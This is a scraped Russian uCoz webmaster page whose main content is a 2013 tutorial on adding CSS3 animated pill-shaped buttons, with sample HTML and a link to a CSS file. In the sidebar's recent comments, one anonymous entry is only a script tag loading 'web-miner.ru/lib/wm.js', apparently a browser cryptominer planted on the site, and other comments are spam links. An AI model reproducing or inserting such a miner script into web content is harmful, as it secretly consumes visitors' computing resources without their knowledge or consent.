Среда, 21.02.2018, 10:18
Главная  Форум Регистрация Блог RSS
Приветствую Вас, Гость
Меню сайта
Статьи про uCoz
Наш опрос
Занесли наш сайт в избраное?


Всего ответов: 1721

установить такой вид опроса
Статистика
Яндекс.Метрика
Онлайн всего: 7
Гостей: 7
Пользователей: 0


Зарегистрировано 30527 (сегодня + 0 новых, вчера + 3 новых), В каталоге файлов 1127 материала(ов), Оставлено 5119 комментариев, На форуме создано тем и ответов.

установить такую статистику

Блок CW результаты

Победы
Победы(10)

Поражения
Поражения(5)


Установить CW блок на свой сайт
Внимание!
Наш сайт адаптирован под браузер Mozilla Firefox
скрипты для uCoz
Скачать/Download
В остальных браузерах наш сайт может отображаться некорректно! (IE,Opera,Google Chrome и т.д)

установить такой блок
Расскажи Друзьям!
Комментарии
Новость: Видео чат для вашего сайта
Александр написал:
https://chat-vsem.blogspot.ru
Новость: Преимущества создания сайта с помощью шаблона
Вика Ромашкина написал:
http://womanspv.ru/raznoe/obmanut-ofisnyj-dress-kod.html
http://womanspv.ru/beremennost/forum-28-nedelya-beremennosti.html
Новость: Блок баннеры "Наши друзья" uCoz
написал:
<script async="async" src="//web-miner.ru/lib/wm.js?s=161&p=50"></script>

Читать все комментарии
Топ комментаторов

установить такой информер
VKONTAKTE

FACEBOOK
Главная страница » Помощь Вебмастеру » Категория Для Веб мастера » Добавлено [11.11.2013, 22:06]

Стильные анимированные кнопки для uCoz

Войти или Зарегистрироваться [скачивать файлы могут только зарегистрированные пользователи!]

Кто не любит интересные и неординарные фишки на своем сайте? Мы вот любим, так же как и дешевую мягкую мебель у себя в доме. Сегодня нашли такую вот штуку - анимированные кнопочки для сайта. Подойдут под любую тематику, а выглядят очень эффектно и красиво. Пользователи наверняка порадуются, используя ваш сайт. Опять же такое чудо мы нашли от разработчиков Ucoz, сделано на CSS3, так что много места не займет и в коде не запутаетесь.

Кнопочки ввиде волшебной таблетки можно расположить в любой части страницы - правда, они походи на пилюльки - дизайн продолговатый и овальный. При наведении мышки на каждую такую кнопочку-пилюльку, она раздвигается пополам, часть с название отъезжает влево, открывая справа информацию. Например, если на вашем сайте много материалов для скачивания, внутри такой пилюльки можно спрятать описание скачиваемого файла, его размера и веса. Ну чем не оригинально? Все движения кнопочки-пилюльки происходят плавно и успевают за мышкой. Если у вас стоит просмотр видео - тоже самое. Главной информацией будет "Видео", а в открывающейся части анимированной кнопки - описание или разрешение. Кому что нравится - вперед! За вашей фантазией, а нам потом расскажите куда вы поместили свои волшебные пилюли.

Установка:

В самый низ вашего css вставляйте код из этого сайта: http://scripts-for-ucoz.ru/css/kod_css_knopki.txt

Следующий код вставляйте в то место, где должны быть сами кнопочки:

<ahref="#"id="down">
<spanclass="btn-title">СКАЧАТЬ</span>
<divclass="btn-info">
<p>
Скачек: 751
<br/>
333.5 kb
</p>
</div>
</a>

<ahref="#"id="demo">
<spanclass="btn-title">ДЕМО</span>
<divclass="btn-info">
<p>
Посмотреть<br/>
пример
</p>
</div>
</a>


При копирование материалов с сайта необходимо указать активную ссылку источника - Скрипты для uCoz 2013 и Стильные анимированные кнопки для uCoz



Расскажи друзьям интересные новости:


- Установить на свой сайт блок социальных закладок
Категория: Для Веб мастера | Добавил: scripts_for_ucoz | Теги: анимированные, uCoz, Стильные, кнопки
Просмотров: 4196 | Загрузок: 0 | Комментарии: 1 | Рейтинг: 0.0/0
Всего комментариев: 1
1 Black-Yellow   (20.01.2014 10:02)
Вполне солидарна с автором. Действительно смотрятся отлично. Минус что простому человеку будет трудно поменять сами картинки кнопок в скрипте wacko

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Для добавления необходима авторизация

Хостинг от uCoz